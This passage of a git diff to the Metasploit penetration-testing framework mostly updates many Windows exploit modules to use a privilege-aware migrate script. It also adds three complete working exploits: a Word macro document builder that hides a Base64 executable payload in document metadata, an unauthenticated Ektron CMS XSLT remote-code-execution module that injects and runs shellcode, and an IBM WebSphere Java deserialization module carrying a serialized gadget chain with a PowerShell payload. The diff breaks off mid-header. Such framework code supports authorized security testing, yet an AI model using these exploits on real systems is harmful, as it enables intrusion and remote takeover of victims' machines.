'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index 5e519cd03f..d2af4a71e4 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index d7a76340f7..1382f09a30 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index 4e643c9134..3452aced1e 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index e7c7606b63..5f09b2be60 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index 4ef262a804..e2a17b49a4 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 24283fda76..668d94bf17 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 485b6ba9d9..611d2f21e1 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => "process", 'DisablePayloadHandler' => 'true', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb new file mode 100644 index 0000000000..94260f848d --- /dev/null +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + include Msf::Module::Deprecated + + deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro') + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Macro Execution", + 'Description' => %q{ + This module generates a macro-enabled Microsoft Office Word document. The comments + metadata in the data is injected with a Base64 encoded payload, which will be + decoded by the macro and execute as a Windows executable. + + For a successful attack, the victim is required to manually enable macro execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Microsoft Office Word', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2012", + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + ], self.class) + end + + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /document\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /core\.xml/ + b64_payload = ' ' * 55 + b64_payload << Rex::Text.encode_base64(generate_payload_exe) + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + end + + # The original filename of __rels is actually ".rels". + # But for some reason if that's our original filename, it won't be included + # in the archive. So this hacks around that. + case short_fname + when /__rels/ + short_fname.gsub!(/\_\_rels/, '.rels') + end + + yield short_fname, buf + end + + + def package_docm(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our docm file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 189433c05f..c5c6b9af07 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index 2fb6931fe2..6d7f539b48 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 30, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Targets' => [ diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index 3ce543f576..b9bc3c016c 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb new file mode 100644 index 0000000000..df6f4c6c8f --- /dev/null +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution', + 'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have +vulnerabilities in various operations within the ServerControlWS.asmx +web services. These vulnerabilities allow for RCE without authentication and +execute in the context of IIS on the remote system. + }, + 'Author' => [ + 'catatonicprime' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0923' ], + [ 'US-CERT-VU', '377644' ], + [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'StackAdjustment' => -3500 + }, + 'Platform' => 'win', + 'Privileged' => true, + 'Targets' => + [ + ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 05 2015' + )) + + register_options( + [ + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]), + OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']), + OptEnum.new('TARGETOP', + [ + true, + 'The vulnerable web service operation to exploit', + 'ContentBlockEx', + [ + 'ContentBlockEx', + 'GetBookmarkString', + 'GetContentFlaggingString', + 'GetContentRatingString', + 'GetMessagingString' + ] + ]) + ], self.class ) + end + + + def vulnerable_param + return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx' + 'xslt' + end + + def required_params + return '' if datastore['TARGETOP'] == 'ContentBlockEx' + '' + end + + def target_operation + datastore['TARGETOP'] + end + + def prologue + <<-XSLT + + + + <#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice"> + #{required_params} + <#{vulnerable_param}> + + +XSLT + end + + def epilogue + <<-XSLT + + + + + + ]]> + #{vulnerable_param}> + #{target_operation}> + + +XSLT + end + + def check + + fingerprint = rand_text_alpha(5 + rand(5)) + xslt_data = <<-XSLT +#{prologue} + public string xml() { + return "#{fingerprint}"; + } +#{epilogue} +XSLT + + res = send_request_cgi( + { + 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml; charset=UTF-8", + 'headers' => { + "Referer" => build_referer + }, + 'data' => xslt_data + }) + + if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def uri_path + uri_path = target_uri.path + uri_path << "/" if uri_path[-1, 1] != "/" + uri_path + end + + def build_referer + if datastore['SSL'] + schema = "https://" + else + schema = "http://" + end + + referer = schema + referer << rhost + referer << ":#{rport}" + referer << uri_path + referer + end + + def exploit + + print_status("Generating the EXE Payload and the XSLT...") + fingerprint = rand_text_alpha(5 + rand(5)) + + xslt_data = <<-XSLT +#{prologue} + private static UInt32 MEM_COMMIT = 0x1000; + private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + public string xml() + { + string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}"; + byte[] shellcode = System.Convert.FromBase64String(shellcode64); + UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); + IntPtr hThread = IntPtr.Zero; + IntPtr pinfo = IntPtr.Zero; + UInt32 threadId = 0; + hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); + return "#{fingerprint}"; + } +#{epilogue} +XSLT + + print_status("Trying to run the xslt transformation...") + res = send_request_cgi( + { + 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml; charset=UTF-8", + 'headers' => { + "Referer" => build_referer + }, + 'data' => xslt_data + }) + if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ + print_good("Exploitation was successful") + else + fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request") + end + + end +end diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index e219d739fc..7e7beb92f2 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index 241ec0cf1a..ed854078fd 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index 8982d9bbbe..cb1cb33e23 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'WfsDelay' => 45, 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 37d8c6bd7d..983dab3561 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index 47d8108ede..f3be23758f 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - "InitialAutoRunScript" => "migrate -f", + "InitialAutoRunScript" => "post/windows/manage/priv_migrate", }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index fefa7d78f4..272bfd4771 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -61,10 +61,10 @@ class MetasploitModule < Msf::Exploit::Local def get_path() case sysinfo['OS'] - when /Windows (7|8|10|2012|2008)/ - return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' when /Windows (NT|XP)/ return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' + else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system + return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' end end diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index b67a2c6433..cd7a9bfb62 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote { # best at delaying/preventing target crashing post-exploit 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index e67cc1e95e..b3b75c9574 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 5d48e0a692..202b6351b9 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index 373922133a..a3ac4f3342 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 8741273ee4..2a453e4651 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb new file mode 100644 index 0000000000..b68585d79a --- /dev/null +++ b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization + call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows + remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Liatsis Fotios @liatsisfotios' # Metasploit Module + + # Thanks for helping me: + # # # # # # # # # # # # + + # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module + # Dimitriadis Alexios @AlxDm_ # Assistance and code check + # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation + ], + 'References' => + [ + ['CVE', '2015-7450'], + ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], + ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], + ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'IBM WebSphere 7.0.0.0', {} ] + ], + 'DisclosureDate' => "Nov 6 2015", + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'WfsDelay' => 20 + })) + + register_options([ + OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']), + Opt::RPORT('8880') + ], self.class) + end + + + def exploit + # Decode - Generate - Set Payload / Send SOAP Request + soap_request(set_payload) + end + + def set_payload + # CommonCollections1 Serialized Streams + ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ=" + ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=" + + # Generate Payload + payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end) + payload_exec = Rex::Text.encode_base64(payload_exec) + end + + def invoke_ccs(serialized_stream) + # Decode Serialized Streams + serialized_stream = Rex::Text.decode_base64(serialized_stream) + end + + def gen_payload + # Staging Native Payload + exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "") + + # Size up RCE - Buffer + cmd_lng = exec_cmd.length + lng2str = "0" + cmd_lng.to_s(16) + buff = [lng2str].pack("H*") + + rce_pld = buff + exec_cmd + end + + def soap_request(inject_payload) + # SOAP Request + req = "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "BasicAuth" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + inject_payload + "" + "\r\n" + req += "ringBufferSize" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + + uri = target_uri.path + + res = send_request_raw({ + 'method' => 'POST', + 'version' => '1.1', + 'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n", + 'uri' => normalize_uri(uri), + 'data' => req + }) + end + +end diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index f1f6199933..677ab83852 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => ['win'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index 99c952ef24..1def1adc90 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'EXITFUNC' => 'process' }, 'Payload' => diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index 42ab69a938..9c6d3dcffb 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 6975c8e264..1bd28765a2 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb 